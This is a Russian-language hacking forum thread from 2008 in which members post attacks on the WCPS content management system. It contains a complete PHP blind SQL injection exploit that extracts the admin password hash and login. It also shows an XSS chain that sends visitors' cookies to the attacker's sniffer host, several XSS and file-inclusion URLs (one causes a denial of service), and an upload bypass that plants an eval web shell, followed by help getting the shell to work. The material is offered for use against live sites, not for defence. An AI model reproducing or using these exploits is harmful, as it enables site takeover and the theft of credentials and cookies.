HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Сценарии/CMF/СMS
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #21  
Старый 09.02.2008, 15:23
Dr.Z3r0
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме:
2030482

Репутация: 1796
По умолчанию

SQL injection WCPS v.4.3 ***
С этого дня я могу называться маньяком. Поздравте меня, я написал сплоент под BENCHMARK...

Ладно приступим к описанию баги. Уязвимый файл php/cron_jsnews.php. Строка 49 гласит:
Код:
$results = MYSQL_QUERY("SELECT id FROM ".$wcpref."${nma}_stat WHERE lang='$portal_lang' AND da>0");
Ну и переменная $nma не фильтруется. Но к сожалению в данном случае требется register_globals=on.

Теперь перейдем к минусам. Из этого запроса нету прямого вывода, и нет вывода ошибок. А это значит что юзать нам только посимвольный перебор с помощью BENCHMARK (я представляю отвернувшиеся лица, но советую дочитать до конца).

Я согласен что эта скуля не ахти как юзабельна, но со сплоентом, пусть это занимает время, но всеже работает, да-да именно со сплоентом). Вообще я редко встречал эксплоиты подобного рода, ну чтож вот и сам сплоент:
PHP код:
<?php
/*----------------------------------------*\
Exploit for cms WCPS v 4.2.1
Blind SQL injection (use Benchmark)
Author: I-I()/Ib
\*----------------------------------------*/
//---------Основные настройки-------------//
$set['host']='test2.ru';//Хост с CMS WPCS
$set['patch']='';//Путь к WCPS без слеша на конце!
$set['id_user']='2';//Номер юзера у которого буим брать хеш и логин (2 по дефолту админ)
$set['prefix']='wc_';//Префикс таблиц в БД
//----------------------------------------//
//--------Дополнительные настройки--------//
$set['retfile']=false;//true-запись в файл, false-Вывод на экран
$set['retname']='return.txt';//Имя файла для вывода
//----------------------------------------//
//----------Настройки BENCHMARK-----------//
$set['timbench']=5;//секунд для задержки создаваемой BENCHMARK-ом
$set['pmbench']=1;//погрешность в секундах
$set['cntbch']=3;//Количество запросов для определение среднего времени ответа
$set['bnzn']=99999;//Начальное значение иттераций BENCHMARK-а
//----------------------------------------//

set_time_limit(0);
ignore_user_abort(true);

function 
create_packet($num,$sumb,$znak,$zap=false,$column='user_pass'){
    global 
$set,$btime;
    if(!
$zap){
        
$tmp="user WHERE IF(ASCII(SUBSTRING((SELECT ".$column." FROM ".$set['prefix']."user WHERE id=".$set['id_user']."),".$num.",1))".$znak.$sumb.",BENCHMARK(".$btime['bnzn'].",MD5(current_time)),'1')/*";
        
$tmp="nma=".urlencode($tmp);
    }else{
        
$tmp=$zap;
    }
    
    
$header="GET ".$set["patch"]."/php/cron_jsnews.php?".$tmp." HTTP/1.0\r\n";
    
$header.="Accept-Language: en-us,en;q=0.5\r\n";
    
$header.="Accept-Charset: utf-8,*;q=0.7\r\n";
    
$header.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png;q=0.5\r\n";
    
$header.="User-Agent: 1\r\n";
    
$header.="Connection: keep-alive\r\n";
    
$header.="Host: ".$set["host"]."\r\n\r\n";
        
    return 
$header;
}

function 
logg($str,$type=1){
    global 
$set;
    
    if(
$set['retfile']){
        
$fp fopen ($set['retname'],'a');
        
fwrite ($fp$str.($type===1?"\r\n":''));
        
fclose ($fp);
    }else{
        echo(
$str.($type===1?"<br>\r\n":''));
        
flush();
    }
}

$btime['sred']=5;
$btime['btime']=10;
$set['count']=0;

function 
send_packet($packet,$type=1){//type=0 -возврат времени запроса; 1-возврат boolean; 2-возврат ответа сервера
    
global $set,$btime;
    
    
$set['count']++;
    
$btime['start']=time();
    
$dt='';
    
    
$fp=fsockopen($set['host'], 80);
    
fwrite($fp$packet);
    while(!
feof($fp)){
        
$dt.=fread($fp1024);
    }
    
fclose($fp);
    
    
$btime['stop']=time();
    
$btime['all']=$btime['stop']-$btime['start'];
    if(
$type===1){
        if(
$btime['all']>=$btime['sred'])return false;
        else return 
true;
    }elseif(
$type===2){
        return 
$dt;
    }else{
        return 
$btime['all'];
    }
}
$set['start']=time();

logg('<b>'.$set['host'].'</b>');
logg('<b>Определяем среднее время ответа сервера...</b>');
for(
$i=0;$i<$set['cntbch'];$i++){
    
$ret=send_packet(create_packet('','','','tmp=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'),0);
    
logg('Запрос '.($i+1).'. Время: '.$ret.' сек.');
    
$btime['bngrzk'][$i]=$ret;
}
$tmp=0;
foreach(
$btime['bngrzk'] as $val)$tmp+=$val;
$btime['bngrzk']=round(($tmp)/(count($btime['bngrzk'])));
logg('Среднее время ответа сервера: <b>'.$btime['bngrzk'].' сек.</b>');
$set['timbench']+=$btime['bngrzk'];
logg('Оптимальное значение задержки создаваемой бенчмарком '.$set['timbench'].' сек.');
logg('');
$btime['oktime']=false;
$btime['bnzn']=$set['bnzn'];
logg('<b>Подбираем кол-во итераций BENCHMARK-а...</b>');
for(
$i=0;$i<20;$i++){
    
$ret=send_packet(create_packet('','','','nma='.urlencode('user WHERE 1=BENCHMARK('.$btime['bnzn'].',MD5(current_time))/*')),0);
    if(
$ret<($set['timbench']-$set['pmbench'])){
        
$tmp='Мало.';
        
logg('Запрос '.($i+1).'. Кол-во: '.$btime['bnzn'].'. Время: '.$ret.' сек. '.$tmp);
        if(
$ret===0){
            
$btime['bnzn']=$btime['bnzn']*$set['timbench'];
        }else{
            
$ret=($set['timbench'])/($ret);
            
$btime['bnzn']=round(($btime['bnzn'])*($ret));
        }
    }elseif(
$ret>($set['timbench']+$set['pmbench'])){
        
$tmp='Много.';
        
logg('Запрос '.($i+1).'. Кол-во: '.$btime['bnzn'].'. Время: '.$ret.' сек. '.$tmp);
        
$ret=($ret)/($set['timbench']);
        
$btime['bnzn']=round(($btime['bnzn'])/($ret));
    }else{
        
$tmp='Подходит.';
        
$btime['oktime']=true;
        
$btime['timbench']=$ret;
        
logg('Запрос '.($i+1).'. Кол-во: '.$btime['bnzn'].'. Время: '.$ret.' сек. '.$tmp);
        break;
    }
}

if(!
$btime['oktime']){
    
logg('Не удалось попасть в рамки '.$set['timbench'].'±'.$set['pmbench'].' сек.');
    
logg('Возможные причины:');
    
logg('-Уязвимость залатанна');
    
logg('-Неверный префикс');
    
logg('-Маленький диапазон погрешности');
    
logg('-Так сложились звезды...');
    die();
}
logg('Число итераций <b>'.$btime['bnzn'].'</b> укладывается в '.$set['timbench'].'±'.$set['pmbench'].' сек.');

logg('');
logg('<b>Определяем среднее время ответа сервера с нагрузкой...</b>');
for(
$i=0;$i<$set['cntbch'];$i++){
    
$ret=send_packet(create_packet('','','','nma='.urlencode('user WHERE 1=BENCHMARK('.$btime['bnzn'].',MD5(current_time))/*')),0);
    
logg('Запрос '.($i+1).'. Время: '.$ret.' сек.');
    
$btime['timebench'][$i]=$ret;
}
foreach(
$btime['timebench'] as $val)$tmp+=$val;
$btime['timebench']=round(($tmp)/(count($btime['timebench'])));
logg('Среднее время ответа сервера с нагрузкой: <b>'.$btime['timebench'].' сек.</b>');
$btime['sred']=round(($btime['timebench']+$btime['bngrzk'])/2);
logg('Крит. число секунд: <b>'.$btime['sred'].' сек.</b>');
$btime['timbench']=$btime['timebench'];

$ret='';
logg('');
logg('Все подготовительные запросы звершены');
logg('Приступаем к работе...');
logg('');
logg('<b>Выдираем хеш...</b>');
logg('<sub>(Пока можно сходить и попить кофе... Это относительно долго...)</sub>');
for(
$i=1;$i<=32;$i++){
    
$sred=0;
    
$tmp='';
    
$i2=0;
    
$i3=0;
    
$znak='>';
    
$mins=48;//Код символа "0"
    
$maxs=103;//Код символа "f"
    
while(1){
        if(
$maxs-$mins>3){
            
$sred=round(($mins+$maxs)/2);
        }else{
            
$sred=$mins+$i2;
            
$znak='=';
            
$i2=$i2+1;
            if(
$mins>$maxs)break;
        }
        if(!
send_packet(create_packet($i,$sred,$znak),1)){
            if(
$znak==='>')$mins=$sred+1;
            else if(
$znak==='='){
                
$ret.=chr($sred);
                break;
            }
        }else{
            if(
$znak==='>')$maxs=$sred;
        }
        if(
$i3>10)break;
        else 
$i3++;        
    }
}
if(empty(
$ret))die('Не получилось :(');
logg('Хеш: <b>'.$ret.'</b>');
$ret='';
logg('');
logg('<b>Выдираем логин...</b>');
for(
$i=1;$i<=32;$i++){
    
$sred=0;
    
$tmp='';
    
$i2=0;
    
$i3=0;
    
$znak='>';
    
$mins=0;
    
$maxs=256;
    while(
1){
        if(
$maxs-$mins>3){
            
$sred=round(($mins+$maxs)/2);
        }else{
            
$sred=$mins+$i2;
            
$znak='=';
            
$i2=$i2+1;
            if(
$mins>$maxs)break;
        }
        if(!
send_packet(create_packet($i,$sred,$znak,false,'user_login'),1)){
            if(
$znak==='>')$mins=$sred+1;
            else if(
$znak==='='){
                
$ret.=chr($sred);
                break;
            }
        }else{
            if(
$znak==='>')$maxs=$sred;
        }
        if(
$i3>10)break;
        else 
$i3++;        
    }
    if(
substr_count($ret,chr(0))){
        
$ret=str_replace(chr(0),'',$ret);
        break;
    }
}
if(empty(
$ret))die('Не получилось :(');
logg('Логин: <b>'.$ret.'</b>');

$set['stop']=time();
logg('');
logg('<b>Статистика:</b>');
logg('Затраченно '.($set['stop']-$set['start']).' сек.');
logg('Всего '.($set['count']).' запросов.');
logg('Среднее время ответа '.round(($set['stop']-$set['start'])/($set['count'])).' сек.');
?>
Небольшая вставка статистики работы сплоента:
Цитата:
Статистика:
Затраченно 778 сек.
Всего 270 запросов.
Среднее время ответа 3 сек.
При небольшом знании пыха этот сплоент можно переделать изменив пару строк под любую скулю подобного рода.

*** - примичание: как не странно но, эту Уязвимость они даже непытались залатать - сплоент отлично работает и в новой версии.
Вложения
Тип файла: zip sb_exploit_js_news.zip (2.7 Кб, 15 просмотров)
__________________
Кто я?..

Последний раз редактировалось Grey; 12.02.2008 в 22:34..
 

  #22  
Старый 12.02.2008, 18:27
Grey
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503

Репутация: 5826


По умолчанию

WebCodePortalSystem v. 4.3 Пассивная XSS

Ну вот вышла новая версия, ну и разумеется не без уязвимостей...

[Пассивная XSS]

Уязвим скрипт php/wojs.php - вообще это очень смешно, т.к. уязвимостей в нем находили много (и даже в том же параметре (но та уязвимость уже исправлена)), но реализовать нормальную защиту авторы так и не смогли.

Уязвимая часть скрипта:

PHP код:
<script language='javascript' src='http://<?echo $_SERVER['HTTP_HOST'].$portal_subdir;?>/php/<?echo $_GET['inflang'].$_GET['type'];?>.js'></script>
В прошлый раз можно было осуществить перезапись переменных и поменять значение переменной $_SERVER['HTTP_HOST'] на произвольное, теперь эта ошибка исправлена, но вот подставить в переменную $_GET['inflang'] значение на подобие ../dir нам никто не мешает. Наверное возникнет вопрос что нам это даст ведь "перемещаться" мы будем только в пределах сайта с уязвимой cms, да и к тому же символ %00 режется (не квотой, а в фильтре).
Но это решаемо:

1) Нам никто не мешает залить файл с расширением .jpg и любым содержанием (заливка через аватарки)
2) Еще авторы не учли что символ %00 нам не нужен, можно обойтись (в данном случае) символов ? (символ знака вопроса).

И так делаем следующее:

1. У себя на компе создаем файл с содержимым:

Код:
document.location.replace("http://host.ru/sn.php?c="+document.cookie);
Где http://host.ru/sn.php адрес вашего хоста со снифером.

2. Сохраняем файл с расширением .jpg, ну к примеру img.jpg

3. Через редактирование профиля, на сайте, заливаем нашу 'аватарку'.

4. Все теперь линк будет выглядеть так:

Код:
http://site.ru/php/wojs.php?inflang=../images/avatar/vashaavatarka.jpg?
!!!не забывайте знак вопроса на конце!!!

И как только пользователь перейдет по ссылке, его куки улетят нам.

Кстати что бы заюзать уязвимость значения регистер глобал и мейджик квотс могут быть совершенно любыми (знак вопроса не обрубается квотой).

Что бы автоматически создать админа при получение куков используйте, ранее выложенный, снифер (смотреть аттач).

====================================

Add (Две Уязвимости, найденные еще в прошлой версии, не залатаны):

1. Ранее найденная пользователем Macro пассивная xss так же отлично работает и в этой версии, наверное исправлять её авторы не сочли нужным:

Цитата:
Сообщение от Macro  
Самая простая пассивная xss на исправление которой уйдут месяцы )) Гг

Сам не ожидал такой простоты
http://site/wcps/%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

ЗЫ http://wcps.ru/%3E%3Cscript%3Ealert(...)%3C/script%3E
Т.е. переходим по ссылке:

Код:
http://test2.ru/wcps/<script>alert("kreved");</script>
И получаем нужный нам результат.

2. Ранее найденная I-I()/Ib`ом SQL инъекция не залатана в новой версии!

====================================
Вложения
Тип файла: zip sn.zip (942 байт, 9 просмотров)

Последний раз редактировалось Grey; 12.02.2008 в 22:39..
 

  #23  
Старый 17.02.2008, 22:04
Dr.Z3r0
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме:
2030482

Репутация: 1796
По умолчанию

Множественные XSS в cms WCPS v4.3.1
4 пассивные XSS по мере убывания их юзабельности:

Код:
http://test2.ru/php/print.php?id=1&email_autor=1%3E%3Cscript%3Ealert(%27xss%27)%3C/script%3E1&nma=news
Код:
http://test2.ru/php/exp_to_save.php

POST: asfile=%3Cscript%3Ealert%28%29%3C%2Fscript%3E
PS: XSS срабатывает только на админах


Код:
http://test2.ua/php/dload.php?ids=%3Cscript%3Ealert()%3C/script%3E
PS: только для сайтов в имени которых есть строка "ua"


Код:
http://test2.ru/php/gzstat.php?id=1&nma=news&categoria=<script>alert('xss')</script>
PS: xss образуется в загружаемом файле

================================================== ==========================

Примичание Grey`я:

Почитал новости и форум на офф сайте этой cms, ну очень весело... Пару комментов для автора этого чуда:

Код:
продвинутому хакеру отсутствие версии это только чуть чуть задержит опредиление что делать, обычно последняя еще не взломана.
Нет это как раз не обычно.

Код:
Вот уязвимости надо убирать.
Код:
Рано или поздно мы вычистим все баги
Ога убери их на х@@ =))
Мне всегда казалось что их надо исправлять, а еще лучше кодить так что бы в одном скрипте не было по несколько бажных кусков, только для этого нужен мозг...


Код:
Вышел новый апдейт с 4.3 до 4.3.1

Апдейт обязателен, т.к. связан с безопасностью

ИЗМЕНЕНИЯ:  
 1) Устранена ошибка 404
Убило. Что больше нет ошибки 404? Типа существуют все страницы? Очень привликательное изменение.
__________________
Кто я?..

Последний раз редактировалось Grey; 17.02.2008 в 22:15..
 

  #24  
Старый 13.03.2008, 21:05
Dr.Z3r0
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме:
2030482

Репутация: 1796
По умолчанию

PHP-including в cms WCPS v4.3.1

Решил вот еще багу выложить, хотел новой версии дождаться но видимо админу там пох на баги. Чтож с данного момента эта цмс может официально называться самой бажной так как в ней присутствуют все основные типы багов.

Вообщем что можно выжать полезного:
Код:
http://test2.ru/?nma=index&fla=../../admin/default/index
(инклудим вывод конфигурации системы...)

http://test2.ru/?nma=index&fla=../../admin/default/loads
(инклудим вывод модулей пыха)

http://test2.ru/?nma=index&fla=../../admin/info/index
(вывод всех массивов пыха)

http://test2.ru/?nma=index&fla=../../admin/info/index&ops=nomenu
(PHP info)

http://test2.ru/?nma=index&fla=../../inc/body
(ДДОС, скрипт инклудит сам себя до бесконечности)
__________________
Кто я?..
 

  #25  
Старый 13.03.2008, 21:07
Grey
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503

Репутация: 5826


По умолчанию

WebCodePortalSystem v. 4.3.1

Пассивная XSS:

Код:
http://test2.ru/php/images_jpg.php?nma=..&vara=inc&images=config.php&action=wo&title=</title><script>alert();</script>
Уязвимый кусок скрипта:

PHP код:
$path=(getenv('OS'))?dirname(getenv('DOCUMENT_ROOT')."/x")."$nma/".$vara.$slash.$images:getenv('DOCUMENT_ROOT')."$nma/".$vara.$slash.$images;
if (!
file_exists($path)){$error=0;} 
Вообщем что бы выполнилось условие "if ($error)", нужно что бы файл, указанный в переменной $path, существовал.

PHP код:
if ($error){
if (@
$action=='wo'){
    
$size=getimagesize($path);
        
$size[2]=$size[1]+25;
        if(empty(
$title)){$title=strtoupper($vara)." * $images";}
    echo 
"<TITLE>$title &nbsp;&nbsp;</TITLE> 
Дальше видим что значение переменной $action должно быть "wo". Ну а дальше выходим на финишную прямую "echo "<TITLE>$title &nbsp;&nbsp;</TITLE>", в переменную $title впихиваем скрипт, а остальное оставляем без изменений.
 

  #26  
Старый 09.05.2008, 00:33
Grey
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503

Репутация: 5826


По умолчанию

WebCodePortalSystem v. 4.3.1 Льём шелл! (видео) + возможность удалять файлы

Требуется что бы: регистер глобалс = офф

Уязвимость в файле mod/user/_upl.php, вот уязвимый кусок кода:

PHP код:
if(empty($wcpsval['tip_loadimages'])){ $tip_loadimages="jpg|gif|png"; }
else { 
$tip_loadimages=$wcpsval['tip_loadimages']; } 
Занятно то что $wcpsval['tip_loadimages'] мы более чем спокойно можем изменить, т.е. самим указать разрешенные расширения файлов, что даёт нам возможность закачивать любые файлы.

Я отснифал пакет с отправкой файла, получилось что то вроде этого:

Код:
POST /ajax.php?nma=user&fla=_upl&t=1210069192453&JsHttpRequest=12100691924532-form HTTP/1.0
User-Agent: Opera/9.23 (Windows NT 5.1; U; ru)
Host: хост
Referer: http://хост/index.php?nma=user&fla=accaunt
Cookie: куки
Cookie2: $Version=1
Connection: close
Content-Length: 192
Content-Type: multipart/form-data; boundary=----------UEffLig9vPkZpftUKEtdJW

------------UEffLig9vPkZpftUKEtdJW
Content-Disposition: form-data; name="q"; filename="img.phtml"
Content-Type: text/plain

<?php eval($_GET['e']); ?>
------------UEffLig9vPkZpftUKEtdJW--
Теперь поменяем первую строчку на такую:

Код:
POST /ajax.php?nma=user&fla=_upl&wcpsval[tip_loadimages]=phtml&t=1210069192453&JsHttpRequest=12100691924532-form HTTP/1.0
Теперь расширение phtml более чем правильное =)

Для удобства я написал сплоент - всё что нужно указать это куки и хост (все что делает сплоент это отправляет пакет, результат нужно смотреть самим, хоть он и пишет что шелл залит, но это может быть не так).

Подробное видео смотреть тут (размер около 4 метров):

http://video.antichat.ru/file267.html

В аттаче архив в котором Улучшенная версия сплойта (льёт более функциональный шелл) по сравнению с тем что в архиве с видео и чуть подправленное описание.

P.S. Т.к. залить файл с расширением .php нельзя из-за .htaccess который блочит пхп файлы, заливать шелл нужно в файл .phtml, но не на каждом серваке такие файлы будут обрабатываться.
P.P.S. Про удаление файлов - в видео.
Вложения
Тип файла: zip wcps_heck.zip (3.0 Кб, 28 просмотров)

Последний раз редактировалось Grey; 09.05.2008 в 01:28..
 

WCPS modules
  #27  
Старый 09.05.2008, 17:55
gibson
Moderator - Level 7
Регистрация: 24.02.2006
Сообщений: 447
Провел на форуме:
2872049

Репутация: 705
Отправить сообщение для gibson с помощью ICQ
По умолчанию WCPS modules

mod_BigNews1.1 passive xss

Цитата:
php/wojs.php?name_titl=');alert(/a/);('
ps в оригинальном файле не проканает)

Про эту Паныч упоминал в постах, сорри если повторю, просто нашел сам)

php/exp_to_save.php
Цитата:
POST asfile=<script>alert(/d/)</script>
/php/print.php
Цитата:
Referer: "><script>alert(/s/)</script>

Mod download sql inj
Цитата:
download.php?id=[sql]
Пример

Цитата:
index.php?nma=download&fla=download&id=-1+union+select+1,2,3/*
 

  #28  
Старый 09.05.2008, 19:00
Ollorin
Новичок
Регистрация: 16.02.2006
Сообщений: 4
Провел на форуме:
132276

Репутация: 0
По умолчанию

Grey, такой трабл возник, я решил проверить работоспособность шелла во второй версии сплоита, вырезал его и расшифровал, он-то нормально работает, но если не расшифровывать, а оставить как есть (т.е в том виде, в котором шелл будет лежать в /images/avatar/), то выскакивает ошибка вида:
Warning: Unexpected character in input: '\' (ASCII=92) state=1 in T:\home\localhost\2.php on line 1
Насколько я понял, ПхП не нравится наличие "\" в первой строке, если удалить оба слеша, то всё работает, но насколько я понял они нужны для маскировки кавычек...как быть?
+не могу понять, на одних и тех же сайтах первый шелл создаётся скриптом, а второй нивкакую...

Последний раз редактировалось Ollorin; 09.05.2008 в 19:13.. Причина: забыл
 

  #29  
Старый 09.05.2008, 19:08
Grey
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503

Репутация: 5826


По умолчанию

Цитата:
Сообщение от Ollorin  
Grey, такой трабл возник, я решил проверить работоспособность шелла во второй версии сплоита, вырезал его и расшифровал, он-то нормально работает, но если не расшифровывать, а оставить как есть (т.е в том виде, в котором шелл будет лежать в /images/avatar/), то выскакивает ошибка вида:
Warning: Unexpected character in input: '\' (ASCII=92) state=1 in T:\home\localhost\2.php on line 1
Насколько я понял, ПхП не нравится наличие "\" в первой строке, если удалить оба слеша, то всё работает, но насколько я понял они нужны для маскировки кавычек...как быть?
Если тебе нужен этот шелл что бы просто юзать, то вот он - (смотреть аттач).

В сплоенте в бейс64 я его закинул только для того что бы не экранировать большое количество кавычек, а так надо всего две. Слеши нужны только в сплоенте, т.к. там нужно экранировать эти кавычки. Если ты, зачем то, хочешь юзать шелл закинутый в бейс64, как в сплойте, то, когда вытащишь его из сплойта, просто убери слеши - они нужны только для сплоента, не более.

Цитата:
Сообщение от Ollorin  
+не могу понять, на одних и тех же сайтах первый шелл создаётся скриптом, а второй нивкакую...
Тут уж смотри по мелочам - может ты во второй сплойт забываешь вписывать куки и адрес сайта. Или случайно что то изменил в нём - я его тестил и косяков не обнаружил.

P.S. проверь личку, я тебе написал туда.
Вложения
Тип файла: zip shell_grey.zip (650 байт, 10 просмотров)

Последний раз редактировалось Grey; 09.05.2008 в 19:23..
 

  #30  
Старый 11.07.2008, 20:41
Dr.Z3r0
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме:
2030482

Репутация: 1796
По умолчанию

REMOTE INCLUDE WCPS v.4.4.1
Собственно возможны и более ранние версии. Интересно какая это по счету бага в этой цмс)

1. Описание
Так вот кратенькое описание баги. Уязвим файл inc/php_function.php
PHP код:
<?php
...
//Функции для слеширования всех "лишних"  символов во всех переменных
//Как видно если мы объявим массив $_POST то массив $_COOKIE 
//слешироваться не будет. Это мы и будем использовать ниже.
elseif ( is_array($_POST)) {
  ...
}
elseif ( 
is_array($_COOKIE)) {
 ...
}
...
//Так тут у нас есть SQL injection, тк переменная $op не проверяется.
@$query="SELECT name, value from ".$wcpref."information where modular='1' OR (modular='$nma' OR modular='$op' )";
if(
$result_info MYSQL_QUERY($query)){
  ...
  while (
$line MYSQL_FETCH_ROW($result_info)){
    
//А вот и интересная строчка. В скрипте создаются глобальные переменные
    //из запроса, который мы можем модифицировать.
    
$$line[0]=$line[1];
    ...
  }
}
...
//Ну а вот и инклуд.
if(!empty($_POST['set_skinlang'])){include("$portal_root/inc/set_skinlang.php");}
//Тоесть алгоритм действий такой. Мы юзаем SQL injection после чего создается
//новое значение для переменной $portal_root после чего мы сможем инклудить
//любой файл в том числе и удаленный. 
//Но как видно из кода только, когда:
//magic_globals_gpc=off
//register_globals=on
...
?>
2. Exploit
Немного об принципе работы эксплойта. Эксплойт имеет веб интерфейс. И не трудно заметить он умеет работать как и в режиме Remote include так и Local include. Зачем?

Так вот ни для кого ни секрет что не везде разрешен удаленный инклуд. В таком случае эксплойт загружает на сервер с wcps аватарку которую впоследствии инклудит. Иначе он вынуждает wcps инклудить файл с другого сервера со специально составленным php кодом, благодаря чему на сервер загружается веб шелл, URL до которого вы также должны будете указать в настройках експлойта.

Вообщем в обеих случаях при удачной эксплуатации мы имеем вебшелл, прочитанный конфиг и логины/хеши админов.

Ну и собственно сам эксплоит:
_http://ifolder.ru/7310117 (12кб)
Pass:dflgnrmgqwef
__________________
Кто я?..

Последний раз редактировалось I-I()/Ib; 15.08.2008 в 19:28..
 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ